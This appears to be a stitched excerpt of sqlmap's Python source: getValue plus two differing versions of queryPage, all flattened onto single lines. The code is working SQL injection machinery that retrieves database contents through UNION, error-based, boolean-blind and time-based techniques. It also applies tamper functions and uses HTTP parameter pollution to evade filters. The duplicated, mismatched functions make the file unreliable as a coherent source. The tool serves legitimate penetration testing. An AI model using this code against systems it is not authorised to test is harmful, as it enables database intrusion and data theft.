def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms( ): if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms( ) singleTimeWarnMessage(warnMsg) conf.hexConvert = False else: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue for keyword in GET_VALUE_UPPERCASE_KEYWORDS: expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any( isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): setTechnique(PAYLOAD.TECHNIQUE.UNION) kb.forcePartialUnion = kb.injection.data[ PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[ PAYLOAD.TECHNIQUE. UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion if expected == EXPECTED.BOOL: # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression try: value = _goUnion( forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY) value = errorUse( forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join( filterNone( key if isTechniqueAvailable(value) else None for key, value in { 'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION }.items())) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable( PAYLOAD.TECHNIQUE.BOOLEAN) and not found: setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED)) and not found: match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) kb.responseTimeMode = "%s|%s" % ( match.group(1), match.group(2)) if match else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): setTechnique(PAYLOAD.TECHNIQUE.TIME) else: setTechnique(PAYLOAD.TECHNIQUE.STACKED) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms( ) and conf.dbmsHandler and kb.fingerprinted: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if hasattr( queries[Backend.getIdentifiedDbms()], "hex") else "" singleTimeWarnMessage(warnMsg) # Dirty patch (MSSQL --binary-fields with 0x31003200...) if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields: def _(value): if isinstance(value, six.text_type): if value.startswith(u"0x"): value = value[2:] if value and len(value) % 4 == 0: candidate = "" for i in xrange(len(value)): if i % 4 < 2: candidate += value[i] elif value[i] != '0': candidate = None break if candidate: value = candidate return value value = applyFunctionRecursively(value, _) # Dirty patch (safe-encoded unicode characters) if isinstance(value, six.text_type) and "\\x" in value: try: candidate = eval( repr(value).replace("\\\\x", "\\x").replace( "u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) if "\\x" not in candidate: value = candidate except: pass return extractExpectedValue(value, expected)
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target URL page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None if not place: place = kb.injection.place or PLACE.GET if not auxHeaders: auxHeaders = {} raise404 = place != PLACE.URI if raise404 is None else raise404 method = method or conf.method value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: kb.postUrlEncode = False conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: try: payload = function(payload=payload, headers=auxHeaders) except Exception, ex: errMsg = "error occurred while running tamper " errMsg += "function '%s' ('%s')" % (function.func_name, ex) raise SqlmapGenericException(errMsg) if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place == PLACE.CUSTOM_POST and kb.postHint: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") elif kb.postHint == POST_HINT.JSON: if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] elif kb.postHint == POST_HINT.JSON_LIKE: payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode: payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below value = agent.replacePayload(value, payload) if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) match = re.search("(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) if match: payload = match.group("value") for splitter in (urlencode(' '), ' '): if splitter in payload: prefix, suffix = ("*/", "/*") if splitter == ' ' else (urlencode(_) for _ in ("*/", "/*")) parts = payload.split(splitter) parts[0] = "%s%s" % (parts[0], suffix) parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) for i in xrange(1, len(parts) - 1): parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) payload = "".join(parts) for splitter in (urlencode(','), ','): payload = payload.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) value = agent.replacePayload(value, payload) else: warnMsg = "HTTP parameter pollution works only with regular " warnMsg += "GET and POST parameters" singleTimeWarnMessage(warnMsg)
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None skipUrlEncode = conf.skipUrlEncode if not place: place = kb.injection.place or PLACE.GET raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if skipUrlEncode is None and conf.httpHeaders: headers = dict(conf.httpHeaders) _ = max(headers[_] if _.upper() == HTTPHEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) if _ and "urlencoded" not in _: skipUrlEncode = True if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload=payload, headers=auxHeaders) if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise sqlmapValueException, errMsg value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place == PLACE.CUSTOM_POST: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") elif kb.postHint == POST_HINT.JSON: if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] value = agent.replacePayload(value, payload) else: if place != PLACE.URI or (value and payload and '?' in value and value.find('?') < value.find(payload)): # GET, URI and Cookie need to be throughly URL encoded (POST is encoded down below) payload = urlencode(payload, '%', False, True) if place in (PLACE.GET, PLACE.COOKIE, PLACE.URI) and not skipUrlEncode else payload value = agent.replacePayload(value, payload) if place: value = agent.removePayloadDelimiters(value) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) if conf.evalCode: delimiter = conf.pDel or "&" variables = {} originals = {} for item in filter(None, (get, post)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) evaluateCode("%s=%s" % (name, repr(value)), variables) originals.update(variables) evaluateCode(conf.evalCode, variables) for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): value = unicode(value) if '%s=' % name in (get or ""): get = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get) elif '%s=' % name in (post or ""): post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post) elif post is not None: post += "%s%s=%s" % (delimiter, name, value) else: get += "%s%s=%s" % (delimiter, name, value) if not skipUrlEncode: get = urlencode(get, limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif not skipUrlEncode and kb.postHint not in POST_HINT_CONTENT_TYPES.keys(): post = urlencode(post) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." singleTimeWarnMessage(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "there is considerable lagging " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "%d or more)" % (conf.timeSec * 2) logger.critical(warnMsg) elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter's " warnMsg += "bandwidth during usage of time-based queries" singleTimeWarnMessage(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if headers: if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) if not pageLength: page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) if conf.secondOrder: page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastRequestDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None if content or response: return page, headers if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) elif pageLength or page: return comparison(page, headers, code, getRatioValue, pageLength) else: return False